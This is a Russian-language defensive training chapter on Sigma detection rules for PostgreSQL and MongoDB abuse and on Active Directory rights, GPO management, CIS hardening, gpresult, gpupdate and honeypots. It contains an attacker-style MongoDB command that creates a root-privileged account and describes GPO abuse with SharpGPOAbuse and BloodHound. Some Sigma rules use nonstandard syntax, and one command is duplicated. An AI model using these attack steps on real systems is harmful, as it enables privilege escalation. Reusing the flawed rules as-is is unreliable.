Выполнить очень широкий запрос

SELECT * FROM users;
                  

Как это будет выглядеть в логе:

Пример правила Sigma, которое обнаруживает 2 последовательных события: авторизацию пользователя в базе и выполнение широкого запроса:

title: Обнаружение последовательности аутентификации и выполнения запроса SELECT * FROM в PostgreSQL
id: postgresql_login_followed_by_select
status: experimental
description: Обнаружение события, когда пользователь авторизуется в базе данных, а затем выполняет запрос SELECT * FROM.
author: [Your Name]
date: 2024-04-01
references:
  - https://example.com/postgresql-logging-docs
logsource:
  product: postgresql
detection:
  selection1:
    crosstheme1.event: "connection authorized"
  selection2:
    crosstheme1.statement: "SELECT * FROM"
  timeframe: 1m # Временное окно для обнаружения двух последовательных событий (1 минута)
  condition: selection1 and selection2
fields:
  - user
  - event
  - statement
falsepositives:
  - Легитимные операции, произведенные аутентифицированными пользователями.
level: high


                  

Пример в MongoDB 

Рассмотрим аналогичный пример для MongoDB.

Злоумышленник создает учетную запись с широкими правами:

use admin

db.createUser({
    user: "adminUser",
    pwd: "adminPassword",
    roles: [
        { role: "root", db: "admin" },
        { role: "readWriteAnyDatabase", db: "admin" },
        { role: "dbAdminAnyDatabase", db: "admin" },
        { role: "userAdminAnyDatabase", db: "admin" }
    ]
})

                  

• root: Дает полный административный доступ ко всей системе MongoDB.
• readWriteAnyDatabase: Позволяет читать и записывать данные в любую базу данных.
• dbAdminAnyDatabase: Позволяет управлять базами данных на уровне администратора.
• userAdminAnyDatabase: Позволяет управлять пользователями и их правами на уровне администратора.

Пример правила Sigma, которое будет обнаруживать такое событие:

title: Обнаружение создания пользователя с широкими правами в MongoDB
id: mongodb_create_user_with_wide_privileges
status: experimental
description: Обнаружение события, когда создается пользователь с широкими правами в MongoDB.
author: [Your Name]
date: 2024-04-02
logsource:
  product: mongodb
detection:
  selection:
    crosstheme1.operation: CREATE_USER
    crosstheme1.roles: ["root", "readWriteAnyDatabase", "dbAdminAnyDatabase", "userAdminAnyDatabase"]
  condition: selection
fields:
  - user
  - roles
falsepositives:
  - Легитимные операции создания пользователей с широкими правами, произведенные администраторами.
level: high


                  

Допустим, злоумышленник решил выбрать все возможные данные из БД. В логе это будет выглядеть так:

• 2024-04-02T12:34:56.789+0000 - дата и время события.
• I COMMAND - тип команды (в данном случае, команда).
• [conn1234] - идентификатор соединения.
• command my_database.my_collection - команда, которая была выполнена (в данном случае, поиск документов в коллекции my_collection базы данных my_database).
• keysExamined:0 - количество ключей, проанализированных при выполнении запроса (в данном случае, 0).
• docsExamined:10000 - количество документов, просмотренных при выполнении запроса (в данном случае, 10000).
• cursorExhausted:1 - флаг, указывающий, что курсор исчерпан.
• numYields:78 - количество раз, когда сервер передал управление другим операциям (yielded).
• nreturned:10000 - количество документов, возвращенных в результате запроса (в данном случае, 10000).
• reslen:2687313 - размер ответа в байтах.
• locks - информация о блокировках, используемых запросом.
• protocol:op_msg - протокол, используемый для передачи сообщений (в данном случае, op_msg).
• 33ms - время выполнения запроса (в данном случае, 33 миллисекунды).

Пример правила Sigma, которое будет обнаруживать такое событие:

title: Обнаружение выбора всех данных из базы данных MongoDB
id: mongodb_select_all_data
status: experimental
description: Обнаружение события, когда пользователь выбирает все данные из базы данных MongoDB.
author: [Your Name]
date: 2024-04-03
logsource:
  product: mongodb
detection:
  selection:
    crosstheme1.command: "find"
    crosstheme1.docsExamined: { ">": 0 }
    crosstheme1.nreturned: { ">": 0 }
    crosstheme1.keysExamined: 0
    crosstheme1.cursorExhausted: 1
  condition: selection
fields:
  - user
  - database
  - collection
  - command
falsepositives:
  - Легитимные запросы, которые выбирают все данные из базы данных MongoDB.
level: high

                  

• title: Название правила.
• id: Уникальный идентификатор правила.
• status: Статус правила (например, "экспериментальный").
• description: Описание того, что делает правило.
• author: Ваше имя или имя автора правила.
• date: Дата создания правила.
• logsource: Источник журналов, в данном случае - продукт mongodb.
• detection: Определение, которое указывает, как обнаружить событие. Мы используем выборку по нескольким полям, таким как command (команда), docsExamined (количество документов, просмотренных при выполнении запроса), nreturned (количество возвращенных документов), keysExamined (количество ключей, проанализированных при выполнении запроса) и cursorExhausted (флаг, указывающий, что курсор исчерпан).
• condition: Условие, которое определяет, что событие соответствует правилу.
• fields: Поля, которые будут отображены в результате обнаружения.
• falsepositives: Возможные ситуации, которые могут быть ложноположительными.
• level: Уровень серьезности обнаружения (например, "высокий").

Группы и GPO

Права и Привилегии в Active Directory

Права обычно назначаются пользователям или группам и касаются разрешений на доступ к объекту, такому как файл, в то время как привилегии предоставляют пользователю разрешение выполнять действие, такое как запуск программы, выключение системы, сброс паролей и т.д. Привилегии могут быть назначены индивидуально пользователям или предоставлены им через членство во встроенных или пользовательских группах. У Windows есть концепция, называемая Назначением Прав Пользователю, которая, хотя и называется правами, фактически представляет собой виды привилегий, предоставляемых пользователю.

Встроенные группы в Active Directory

AD содержит множество групп безопасности по умолчанию или встроенных групп, некоторые из которых предоставляют своим членам мощные права и привилегии, которые могут быть использованы злоумышленниками для повышения привилегий в пределах домена и, в конечном итоге, получения привилегий Domain Admin или SYSTEM на контроллере домена.

Ниже приведены некоторые из наиболее распространенных встроенных групп:

Назначение прав пользователю

В зависимости от групп, в которых они состоят, и других факторов, таких как привилегии, назначаемые администраторами через Политику Группы (GPO), у пользователей могут быть разные права на свои учетные записи. В статье Microsoft о Назначении Прав Пользователю предоставляется подробное объяснение каждого права, которое может быть установлено в Windows. Некоторые могут привести к непреднамеренным последствиям, таким как повышение привилегий или доступ к чувствительным файлам. Допустим, мы получаем права на запись в объект Групповой политики (GPO), примененной к подразделению (OU) с одним или несколькими пользователями, которыми мы управляем. В этом случае мы можем использовать инструменты, такие как SharpGPOAbuse, чтобы назначить целевые права пользователю. Таким образом, мы можем расширить свой доступ в домен, выполняя различные действия с этими новыми правами. Например:

Просмотр привилегий пользователя

После входа на хост, введение команды whoami /priv предоставит нам список всех назначенных пользовательских прав. Некоторые права доступны только для административных пользователей и могут быть перечислены/использованы только при выполнении повышенной сессии CMD или PowerShell. Понятия повышенных прав и Контроля учетных записей пользователя (User Account Control, UAC) являются функциями безопасности, введенными в Windows Vista, которые по умолчанию ограничивают приложения в выполнении с полными разрешениями, если это абсолютно необходимо. Если мы сравним и контрастируем права, доступные нам в качестве администратора в консоли без повышения привилегий и в консоли с повышенными привилегиями, мы увидим, что они существенно отличаются. 

Групповые политики

Group Policy (Групповая политика) — это функция Windows, предоставляющая администраторам широкий набор настроек, которые могут применяться как к учетным записям пользователей, так и к компьютерам в среде Windows. У каждого хоста Windows есть редактор локальной групповой политики для управления локальными настройками.

С точки зрения безопасности использование групповых политик — это один из лучших способов влияния на уровень безопасности организации. Active Directory, безусловно, не обладает достаточной безопасностью "из коробки", и групповые политики являются ключевой частью стратегии защиты.

Объекты групповой политики (GPO)

Объект групповой политики (Group Policy Objects) — это виртуальная коллекция параметров политики, которые можно применять к пользователям или компьютерам. GPO включают в себя такие политики, как тайм-аут блокировки экрана, отключение USB-портов, применение политики паролей собственного домена, установку программного обеспечения, управление приложениями, настройку параметров удаленного доступа и многое другое. Каждый объект групповой политики имеет уникальное имя и уникальный идентификатор (GUID). Их можно связать с конкретным доменом или сайтом. Один объект групповой политики может быть связан с несколькими контейнерами, и к любому контейнеру может быть применено несколько объектов групповой политики. Их можно применять к отдельным пользователям, хостам или группам путем применения непосредственно к подразделению. Каждый объект групповой политики содержит один или несколько параметров групповой политики, которые могут применяться на уровне локального компьютера или в контексте Active Directory.

Примеры объектов групповой политики

Вот некоторые примеры того, что мы можем сделать с объектами групповой политики:

• Установка различных политик паролей для учетных записей служб, учетных записей администратора и обычных учетных записей пользователей с использованием отдельных объектов групповой политики.
• Запрет на использование съемных носителей (например, USB-устройств)
• Включение защиты заставки с помощью пароля
• Ограничение доступа к приложениям, которые могут не понадобиться обычному пользователю, например cmd.exe и PowerShell.
• Обеспечение соблюдения политик аудита и ведения журналов
• Блокировка пользователям запуска определенных типов программ и скриптов
• Развертывание программного обеспечения в домене
• Блокировка установки не одобренного программного обеспечения
• Отображение баннера входа в систему каждый раз, когда пользователь входит в систему
• Запрет использования LM-хеша в домене
• Запуск сценариев при запуске/выключении компьютеров или когда пользователь входит в систему или выходит из нее.

Давайте возьмем в качестве примера реализацию Active Directory в Windows Server 2008 по умолчанию, сложность пароля применяется по умолчанию. Требования к сложности пароля следующие:

• Пароли должны быть длиной не менее 7 символов.
• Пароли должны содержать символы как минимум трех из следующих четырех категорий:
  1. Символы верхнего регистра (A-Z)
  2. Символы нижнего регистра (a-z)
  3. Числа (0-9)
  4. Специальные символы (например, !@#$%^&*()_+|~-=`{}[]:";'<>?,./)

Это всего лишь несколько примеров того, что можно сделать с помощью групповой политики. В объекте групповой политики можно применять сотни настроек, которые могут быть очень детализированными. Например, ниже приведены некоторые параметры, которые мы можем установить для сеансов удаленного рабочего стола:

Настройки объекта групповой политики обрабатываются с использованием иерархической структуры AD и применяются с использованием правила порядка старшинства, как показано в таблице ниже:

На изображении ниже показан пример нескольких объектов групповой политики, связанных с подразделением Corp. Если с подразделением связано более одного объекта групповой политики, они обрабатываются на основе порядка связывания (Link Order). Объект групповой политики с наименьшим порядком обрабатывается последним, либо объект групповой политики с порядком 1 имеет наивысший приоритет, затем 2, 3 и т. д. Таким образом, в нашем примере выше объект групповой политики Disallow LM Hash будет иметь приоритет над объектами групповой политики Block Removable Media и Disable Guest Account, то есть он будет обработан первым.

Можно указать параметр «Принудительно», чтобы применить настройки в конкретном объекте групповой политики. Если этот параметр установлен, параметры политики в объектах групповой политики, связанных с подразделениями нижнего уровня, не могут переопределить (override) эти параметры. Если объект групповой политики установлен на уровне домена с выбранным параметром «Принудительно», параметры, содержащиеся в этом объекте групповой политики, будут применены ко всем подразделениям в домене и не могут быть переопределены политиками подразделений более низкого уровня. Раньше этот параметр назывался «No Override» и устанавливался для соответствующего контейнера в разделе «Пользователи и компьютеры Active Directory» (Users and Computers). Ниже мы можем увидеть пример принудительного объекта групповой политики, где объект групповой политики Logon Banner имеет приоритет над объектами групповой политики, связанными с нижними подразделениями, и поэтому не будет переопределен.

Принудительный приоритет политики объекта групповой политики:

Независимо от того, для какого объекта групповой политики установлено принудительное применение, если применяется объект групповой политики доменной политики по умолчанию, он будет иметь приоритет над всеми объектами групповой политики на всех уровнях.

Переопределение политики домена по умолчанию

Также можно установить параметр Block inheritance (блокировать наследование) для подразделения. Если это указано для конкретного подразделения, то политики более высокого уровня (например, на уровне домена) не будут применяться к этому подразделению. Если установлены оба параметра, параметр No Override имеет приоритет над параметром Block inheritance. Например, подразделение Computers наследует объекты групповой политики, установленные в подразделении Corp, как показано на рисунке ниже:

Если выбран параметр Block inheritance, мы увидим, что три объекта групповой политики, примененные выше к подразделению Corp, больше не применяются к подразделению Computers:

Значимость GPO в системном администрировании

GPO (Group Policy Object) — это мощный инструмент управления настройками безопасности в сетевых средах, который позволяет администраторам контролировать рабочие станции и серверы в рамках целой организации. Для членов Blue Team знание GPO особенно важно, так как это позволяет повысить уровень безопасности IT-инфраструктуры, применяя единую политику конфигураций, безопасности и управления.

Важность GPO в управлении безопасностью сетевых систем

GPO — это набор настроек, который создается в административном шаблоне и применяется к объектам Active Directory, таким как пользователи, группы, компьютеры и папки. Эти политики позволяют автоматизировать и стандартизировать конфигурационные и безопасностные настройки, управлять установкой программного обеспечения, обновлением паролей, ограничениями доступа и другими важными аспектами IT-систем.

Назначение Group Policy Objects в Windows

Локальные GPO (Local Group Policy Objects)

Локальные GPO применяются к конкретному компьютеру и хранятся локально на этом компьютере. Они могут быть настроены непосредственно на самом компьютере без необходимости подключения к сети или домену. Обычно они используются для установки базовых настроек безопасности или конфигурации на отдельных компьютерах, например, для ограничения доступа к определенным ресурсам или приложениям. Их можно настроить через локальный Group Policy Editor (gpedit.msc).

Сетевые GPO (Network Group Policy Objects)

Сетевые GPO хранятся на контроллерах домена и применяются к объектам в Active Directory, таким как пользователи, компьютеры или группы. Они позволяют централизованно управлять настройками безопасности и конфигурацией для всех объектов в сети, которые являются частью домена. Сетевые GPO могут быть применены к организационным единицам (Organizational Units, OU), группам или пользователям. Они могут настраиваться через Group Policy Management Console (GPMC), доступный на контроллерах домена. Применение сетевых GPO особенно полезно в средних и крупных сетях, где требуется централизованное управление настройками и безопасностью на всех устройствах и для всех пользователей.

Иерархия GPO обычно основывается на принципе "наследования". Это означает, что настройки из сетевых GPO могут наследоваться от более общих к более конкретным уровням Active Directory, таким как домен, организационная единица (OU), группа и пользователь. Локальные GPO имеют более высокий приоритет применения, чем сетевые GPO, поскольку они применяются непосредственно к конкретному компьютеру.

Обзор GPO и Group Policy Management Console (GPMC)

GPO, GPMC и RSoP

• GPO (Group Policy Object) — это инструменты для управления настройками безопасности и конфигурации в среде Windows.
• GPMC (Group Policy Management Console) — централизованный интерфейс для работы с GPO.
• RSoP (Resultant Set of Policy) — показывает результирующий набор политик, применяемых к конкретному пользователю или компьютеру.

Создание и управление GPO с использованием Group Policy Management Console (GPMC)

GPMC предлагает графический интерфейс для создания, редактирования и удаления GPO. Этот инструмент интегрируется с Active Directory и позволяет администраторам назначать политики на уровне доменов, сайтов и отдельных организационных единиц.

Создание GPO через GPMC

Создание нового GPO в GPMC просто:

• нажмите правой кнопкой мыши на соответствующей организационной единице;
• выберите "Создать GPO в этом домене и связать его здесь";
• задайте соответствующие настройки.

Редактирование GPO

Для редактирования существующего GPO, щелкните по нему правой кнопкой мыши и выберите "Изменить", после чего откроется редактор политик, где можно настроить необходимые параметры в разделах "Конфигурация компьютера" и "Конфигурация пользователя".

Управление GPO 

С помощью GPMC можно также управлять связями GPO, задавать фильтры безопасности для контроля применения политик к определенным пользователям или группам, а также использовать WMI-фильтры для более гранулированного применения политик на основе атрибутов компьютера.

Безопасная настройка для AD и Windows Server

В предыдущих темах мы рассматривали CIS Benchmarks — эти рекомендации также существуют и для GPO. В этом разделе мы рассмотрим, как реализовать набор сборки CIS L1 на домене Server 2019.

CIS Benchmark для GPO включает в себя матрицу:

Мы будем использовать 3 GPO:

• USER L1 - пользователи первого уровня;
• DC-L1 - контроллер домена первого уровня;
• DC-L1 Services - сервисы контроллера домена первого уровня.

В Server 2019 откройте консоль управления групповыми политиками (GPMC) и создайте новый объект групповой политики. Дадим ему то же самое имя, что и стандарт CIS:

Затем щелкните правой кнопкой мыши на созданной GPO и выберите "Import Settings" (Импортировать настройки), это запустит мастер импорта настроек.

Вас попросят создать резервную копию существующей GPO, это можно пропустить, поскольку это новая GPO. Но если бы это была существующая GPO, рекомендуется выполнить резервное копирование, так как все настройки будут перезаписаны, и резервную копию можно будет использовать в случае, если нужно будет выполнить откат настроек.

Затем вам будет предложено указать путь к папке "резервной копии" для импорта настроек. На первый взгляд этот шаг может показаться немного запутанным, так как предыдущий экран был о резервных копиях. На самом деле это путь к GPO комплекту сборки CIS, который нам нужно указать для импорта в нашу новую GPO. Ниже мы выбираем путь к нашей папке USER-L1:

На следующем экране вы получите подтверждение найденной GPO:

Подтвердите настройки:

Связывание GPO

Сейчас импортированные GPO не связаны с какими-либо организационными единицами (OU) в Active Directory и не активны.

Для связывания GPO нажмите правой кнопкой мыши на OU домена (или на той OU, с которой вы хотите связать GPO) и выберите "Link an existing GPO" (Связать существующий GPO).

Выберите GPO:

Эти GPO затем появятся под выбранной вами ранее OU:

Теперь GPO активны и должны распространяться на все системы в вашем домене Active Directory.

Тестирование

На тестовом рабочем месте, включенном в домен, запустите команду gpresult для проверки применения GPO (далее мы подробнее рассмотрим gpresult).

PS C:\Windows\system32> gpresult /H c:\gpreport.htm
                  

Посмотрите html-файл и убедитесь, что настройки GPO применились (столбец Winning GPO):

Вы также можете проверить локальный редактор групповых политик (gpedit.msc), чтобы вручную проверить настройки:

Безопасность объектов групповой политики

Как упоминалось ранее, объекты групповой политики могут использоваться для проведения атак. Эти атаки могут включать добавление дополнительных прав к учетной записи пользователя, добавление локального администратора на хост или создание немедленного запланированного задания для запуска вредоносной команды, такой как изменение членства в группе, добавление новой учетной записи администратора, установка обратной оболочки. соединение или даже установку целевого вредоносного ПО по всему домену. Эти атаки обычно происходят, когда у пользователя есть права, необходимые для изменения объекта групповой политики, который применяется к подразделению, содержащему либо учетную запись пользователя, которую мы контролируем, либо компьютер.

Ниже приведен пример пути атаки на GPO с помощью инструмента BloodHound. В данном примере группа Domain Users может изменять объект групповой политики Disconnect Idle RDP из-за членства в вложенной группе. Далее мы можем посмотреть, к каким подразделениям применяется этот объект групповой политики, и сможем ли мы использовать эти права для получения контроля над администратором или администратором домена или компьютером (сервером, контроллером домена или критически важным хостом) и двигаться дальше, чтобы повысить привилегии внутри домена:

Просмотр применения GPO

После того как мы изучили основы GPO и их управления с помощью GPMC, перейдем к просмотру и проверке применения этих групповых политик на конкретные объекты и системы.

Введение в RSoP: графический интерфейс и команда из командной строки

Результативная политика (Resultant Set Of Policy, RSoP):

• RSoP — это инструмент для понимания того, какие групповые политики были применены к компьютеру или пользователю, а также для диагностики проблем с политиками.
• RSoP может быть использован в графическом интерфейсе через MMC (Microsoft Management Console), запустив rsop.msc, или с помощью команды в PowerShell.

Использование команды gpresult 

gpresult — это командная утилита, которая показывает RSoP данных для локального или удаленного компьютера и пользователей. Основные параметры команды включают:

Пример использования gpresult 

PS C:\Windows\system32> gpresult /H c:\GPReport.html
                  

Команда gpresult /H GPReport.html используется для создания отчета о результатах применения групповых политик (Group Policy Results Report) в формате HTML. Она позволяет получить подробную информацию о том, какие групповые политики были применены к конкретному пользователю или компьютеру в сети.

После выполнения этой команды будет создан файл с именем "GPReport.html", который содержит подробный отчет о результатах применения групповых политик. В этом отчете вы найдете информацию о примененных политиках, их источниках, примененных параметрах и другие связанные с ними данные.

Этот отчет может быть полезен для отладки проблем с применением групповых политик, а также для проверки правильности конфигурации политик на конкретном компьютере или пользователе. Он позволяет администраторам подробно анализировать, какие политики были успешно применены, а какие не удалось применить, и выявлять возможные проблемы.

Отчет GPReport.html содержит следующую информацию:

1. Общая информация:

   • Имя пользователя и имя компьютера.
   • Дата и время создания отчета.

2. Сводка результатов применения групповых политик:

   • Общее количество примененных групповых политик.
   • Список успешно примененных политик.
   • Список неудачных попыток применения политик.

3. Подробная информация о примененных групповых политиках:

   • Имя и описание каждой примененной политики.
   • Источник (локальный GPO, сетевой GPO и т. д.).
   • Состояние применения (успешно, неудачно и т. д.).
   • Список параметров и их значений, примененных в рамках каждой политики.

4. Информация о контексте применения политик:

   • Пользователи и группы, к которым применялись политики.
   • Список компьютеров, к которым применялись политики.

5. Дополнительная информация:

   • Логи и ошибки, связанные с применением групповых политик.

GPUpdate и принудительное обновление политик

Команда gpupdate (Group Policy Update) используется для обновления групповых политик на компьютере или пользователе. Она запускает процесс обновления настроек групповых политик с сервера домена или локального хранилища групповых политик.

Вот основные задачи и цели команды gpupdate:

1. Применение изменений групповых политик: когда администратор вносит изменения в групповые политики в Active Directory, они не сразу применяются на клиентских компьютерах. Команда gpupdate позволяет немедленно обновить настройки групповых политик на компьютере или пользователе, чтобы применить изменения.

2. Решение проблем с настройками: иногда возникают ситуации, когда изменения в групповых политиках не применяются корректно на клиентских компьютерах. Запуск gpupdate может помочь в решении таких проблем путем принудительного обновления политик с помощью ключа /force.

3. Отладка и тестирование: во время разработки и тестирования групповых политик администраторы могут использовать gpupdate, чтобы немедленно применить изменения и убедиться, что они работают ожидаемым образом.

4. Синхронизация настроек с доменом: когда компьютер или пользователь подключаются к домену, они получают групповые политики с контроллера домена. gpupdate обновляет эти настройки, чтобы убедиться, что они соответствуют текущему состоянию в домене.

5. Синхронизация настроек с локальным хранилищем: Для компьютеров, работающих в автономном режиме или в отсутствие подключения к домену, gpupdate обновляет настройки с локального хранилища групповых политик.

Просмотр событий GPO в журнале событий Windows (eventvwr.msc)

Event Viewer Microsoft Management Console (MMC, eventvwr.msc) — консоль просмотра событий Windows. Это инструмент в операционной системе Windows, который позволяет администраторам просматривать, анализировать и управлять журналами событий компьютера.

Чтобы открыть eventvwr.msc и найти журналы, связанные с Group Policy, выполните следующие шаги:

1. Откройте Консоль просмотра событий:

   • Нажмите Win + R для открытия диалогового окна "Выполнить".
   • Введите eventvwr.msc.
   • Или щелкните правой кнопкой мыши на кнопке Пуск и выберите "Консоль просмотра событий".

2. Найдите журналы, связанные с Group Policy:

   • В левой панели Консоли просмотра событий откройте раздел "Журналы Windows".
   • Разверните раздел "Журналы Windows", чтобы увидеть список доступных журналов.
   • Журналы, связанные с Group Policy, обычно находятся в разделе "Приложение" или "Система".

3. Анализируйте журналы событий Group Policy:

   • Чтобы найти события, связанные с Group Policy, щелкните на соответствующем журнале (например, "Приложение").
   • Используйте фильтры или поиск, чтобы отфильтровать события, связанные с Group Policy. Обычно в журнале будут присутствовать события с источником "Group Policy" или "GroupPolicy".

4. Проанализируйте события и сообщения:

   • Просмотрите события, чтобы понять, какие политики были применены, успешно или с ошибками.
   • Изучите сообщения об ошибках или предупреждениях, чтобы выявить проблемы с применением Group Policy на компьютере или в сети.

Команды для мониторинга и отладки GPO

Использование gpresult для создания отчета о примененных политиках с сохранением в HTML файл

Чтобы создать отчет о примененных групповых политиках (Group Policy Objects, GPO) для пользователя или компьютера и сохранить его в HTML-файл, используется инструмент командной строки gpresult. Для работы с gpresult необходимо иметь права администратора на локальной машине или в домене, а также работать на компьютере на базе Windows.

Вот как может выглядеть использование gpresult:

1. Откройте командную строку с правами администратора. 

2. Введите следующую команду для создания отчета для текущего пользователя и его компьютера:

PS C:\Windows\system32> gpresult /H GPReport.html
                  

Эта команда выполнит анализ примененных групповых политик и сохранит результат в файл GPReport.html в текущей директории.

3. Если хотите создать отчет только для компьютера или только для пользователя, используйте ключ /SCOPE, например:

   - для компьютера:

PS C:\Windows\system32> gpresult /SCOPE COMPUTER /H GPReport_Computer.html
                  

   - для пользователя:

PS C:\Windows\system32> gpresult /SCOPE USER /H GPReport_User.html
                  

  
4. По умолчанию отчет будет создан для текущего пользователя. Если необходимо создать отчет для другого пользователя, используйте ключ /USER, например:

PS C:\Windows\system32> gpresult /USER имя_пользователя /H GPReport_OtherUser.html
                  

Замените "имя_пользователя" на фактическое имя пользователя, для которого нужно сгенерировать отчет.

Открыть созданный HTML-файл можно в любом веб-браузере, чтобы проанализировать результаты.

Принудительное обновление политик черед gpupdate, и как это помогает при их неправильном применении

Одним из ключевых навыков является использование команды gpupdate, которая позволяет принудительно инициировать процесс обновления групповых политик. Это бывает полезно в ситуациях, когда изменения в политиках не применяются как ожидалось, и вам нужно вручную запустить процесс обновления, чтобы убедиться, что последние изменения были корректно распространены на пользователей и компьютеры в сети.

Вот основы, которые можно рассмотреть:

1. Для выполнения команды gpupdate откройте командную строку. Можно использовать "Командную строку" или "Windows PowerShell".

2. Введите команду:

PS C:\Windows\system32> gpupdate
                  

   
Это приведет к обновлению политик как для пользователя, так и для компьютера. По умолчанию gpupdate обновляет все политики, если какие-то политики были изменены, они будут применены с этой командой.

3. Если вы хотите обновить только пользовательские или только компьютерные политики, используйте следующие команды:

Для пользовательских политик:

PS C:\Windows\system32> gpupdate /target:user
                  

Для компьютерных политик:

PS C:\Windows\system32> gpupdate /target:computer
                  

4. Иногда может быть необходимо принудительно переприменить все связанные политики без учета их последнего времени обновления, для этого используйте ключ /force:

PS C:\Windows\system32> gpupdate gpupdate /force
                  

5. После запуска gpupdate система может потребовать перезагрузку или выход пользователя из системы, если некоторые политики не могут быть обновлены на лету. В этом случае будет предоставлен запрос с выбором выполнения этого действия сразу или отложить его на более удобное время.

Использование gpupdate помогает решать проблемы с политиками, которые не применялись должным образом, путем их принудительного обновления, что позволяет администраторам быстро реагировать на изменения в конфигурации без ожидания следующего цикла автоматического обновления политик, и проверять результаты изменений в реальном времени.

Частота обновления групповой политики

При создании нового объекта групповой политики параметры не применяются автоматически сразу. Windows выполняет периодические обновления групповой политики, которые по умолчанию выполняются каждые 90 минут со случайным смещением +/- 30 минут для пользователей и компьютеров. По умолчанию период обновления контроллеров домена составляет всего 5 минут. При создании и связывании нового объекта групповой политики может пройти до 2 часов (120 минут), прежде чем настройки вступят в силу. Это случайное смещение +/- 30 минут установлено, чтобы избежать перегрузки контроллеров домена, поскольку все клиенты одновременно запрашивают групповую политику у контроллера домена.

Можно изменить интервал обновления по умолчанию в самой групповой политике. Кроме того, мы можем ввести команду gpupdate /force, чтобы запустить процесс обновления. Эта команда сравнит объекты групповой политики, применяемые в настоящее время на компьютере, с контроллером домена и либо изменит, либо пропустит их в зависимости от того, изменились ли они с момента последнего автоматического обновления.

Мы можем изменить интервал обновления с помощью групповой политики, открыв Computer Configuration -> Policies -> Administrative Templates -> System -> Group Policy и выбрав Set Group Policy refresh interval for computers.

Стоит отметить, что хоть интервал и можно изменить, его не следует настраивать слишком часто, иначе это может вызвать перегрузку сети, что приведет к проблемам репликации.

Анализ и устранение неполадок

Проверка Журнала Событий на наличие ошибок GPO

Важным навыком является проверка Журнала событий (Event Viewer) на предмет ошибок, связанных с GPO.
Журнал событий Windows содержит записи о всех важных событиях системы, включая ошибки, предупреждения и информационные сообщения от различных служб и компонентов операционной системы, в том числе и связанные с групповыми политиками.

• В Журнале событий раскройте раздел "Журналы Windows", а затем перейдите в подраздел "Система". Здесь вы увидите все системные события. Чтобы сузить круг поиска, можно использовать фильтр - "Фильтр текущего журнала...".
• В фильтре можно задать параметры для поиска конкретных событий GPO. Введите источник события, такой как GroupPolicy, чтобы увидеть только события, связанные с групповыми политиками.
• Найдите и проанализируйте ошибки, связанные с GPO. Их идентификаторы (ID события) и источник (обычно это Microsoft-Windows-GroupPolicy) помогут вам узнать больше о каждом конкретном случае.

К примеру у нас есть некий список, что нужно для устранения:

1. Проверьте подробности события: Используйте Журнал событий для поиска ошибок, связанных с Group Policy. Обратите внимание на ID события, уровень серьезности, сообщение об ошибке и любые предлагаемые действия или коды.
2. Проверка связи с доменным контроллером: Убедитесь, что компьютер может связываться с доменным контроллером. Используйте ping, nslookup, и другие сетевые утилиты для диагностики проблем с сетью.
3. Фильтрация GPO: Проверьте, нет ли настроек фильтрации на ваши групповые политики, которые могут исключать определенные объекты из области их действия. Убедитесь, что WMI-фильтры и целевая выборка работают корректно и не ограничивают применение GPO.
4. Проверка разрешений GPO: Проверьте, имеют ли учетные записи пользователей или компьютеров соответствующие разрешения для применения групповой политики. Необходимыми разрешениями обычно являются "Прочитать" и "Применить групповую политику".
5. Конфликтующие и перезаписывающие настройки: Рассмотрите возможность того, что одна политика перезаписывает другую. Используйте инструменты моделирования и планирования Group Policy Management Console (GPMC) для анализа результата применения политик.
6. Восстановление синхронизации: Иногда GPO могут не применяться из-за проблем с репликацией или синхронизацией. Убедитесь, что все доменные контроллеры синхронизированы и актуальны.
7. Просмотр журналов на стороне сервера: П​олезно проверить журналы на доменном контроллере, чтобы увидеть, возникали ли там ошибки, которые могли повлиять на распространение политик.
8. Обновление шаблонов административных шаблонов (ADM/ADMX): Устаревшие или поврежденные файлы шаблонов могут вызвать проблемы с применением политик. Проверьте, что используются актуальные версии ADM/ADMX-файлов.
9. Проверка наличия последних обновлений: Убедитесь, что на клиентских компьютерах и доменных контроллерах установлены последние обновления операционной системы, поскольку в них могут содержаться патчи для известных проблем с GPO.

Набор инструментов для обеспечения соответствия требованиям безопасности и базовые параметры

Microsoft Security Compliance Toolkit (MSCT) — это набор инструментов и руководств, предоставляемых Microsoft для помощи организациям в обеспечении безопасности и соответствия в их информационных системах, особенно в операционных системах Windows.

В рамках Microsoft Security Compliance Toolkit доступны следующие ресурсы:

1. Готовые конфигурации безопасности: MSCT включает в себя готовые наборы рекомендаций по настройке безопасности для различных продуктов Microsoft, таких как операционные системы Windows, серверы и приложения. Эти наборы конфигураций, называемые бенчмарками безопасности (Security Baselines), содержат набор рекомендуемых настроек безопасности, которые можно применить с помощью групповых политик (GPO) для обеспечения соответствия и улучшения безопасности в организации.

2. Инструменты анализа и реализации: В состав Toolkit входят инструменты для анализа безопасности существующих систем и для реализации рекомендуемых настроек безопасности. Например, инструменты Security Compliance Toolkit могут автоматически проверить соответствие существующих систем установленным бенчмаркам безопасности и предоставить рекомендации по улучшению безопасности.

3. Документация и руководства: MSCT включает в себя подробные руководства по применению бенчмарков безопасности и использованию инструментов Toolkit. Эти руководства помогают администраторам понять рекомендации по настройке безопасности и успешно применить их в своей среде.

Бенчмарки безопасности, предоставляемые в составе Toolkit, часто используются для настройки безопасности с помощью групповых политик. Администраторы могут импортировать бенчмарки безопасности в GPO и применить их настройки к компьютерам и пользователям в своей сети, чтобы обеспечить соответствие установленным стандартам безопасности и улучшить защиту систем от угроз.

Более подробную информацию можно посмотреть по ссылке.

Полезные команды

Copy-GPO -SourceName "GPO to copy" -TargetName "Name"
                  

Копирует групповую политику "GPO to copy" для использования в качестве новой политики с именем "Name".

New-GPLink -Name "Security Analysts Control" -Target "ou=Security Analysts,ou=IT,OU=HQ-NYC,OU=Employees,OU=Corp,dc=SECOPS,dc=LOCAL" -LinkEnabled Yes
                  

Создает новую групповую политику и связывает ее с выбранным подразделением или группой безопасности.

Set-GPLink -Name "Security Analysts Control" -Target "ou=Security Analysts,ou=IT,OU=HQ-NYC,OU=Employees,OU=Corp,dc=SECOPS,dc=LOCAL" -LinkEnabled Yes
                  

Связывает существующую групповую политику с соответствующим подразделением или группой безопасности.

Honeypot

Honeypot-системы (или узлы-приманки) — вычислительные системы, предназначенные для привлечения внимания, чтобы атака была направлена на поддельную систему.

Узлы-приманки позволяют собирать ценную информацию об атакующих для дальнейшего анализа их поведения и предотвращения будущих атак. Решают задачи:

• Сбор информации о злоумышленнике: при проведении атаки собирается информация о событиях в узле-приманке. Собранный журнал событий анализируется, из полученных данных составляется модель поведения атакующего, что позволяет выявлять и предотвращать новые вектора атак.
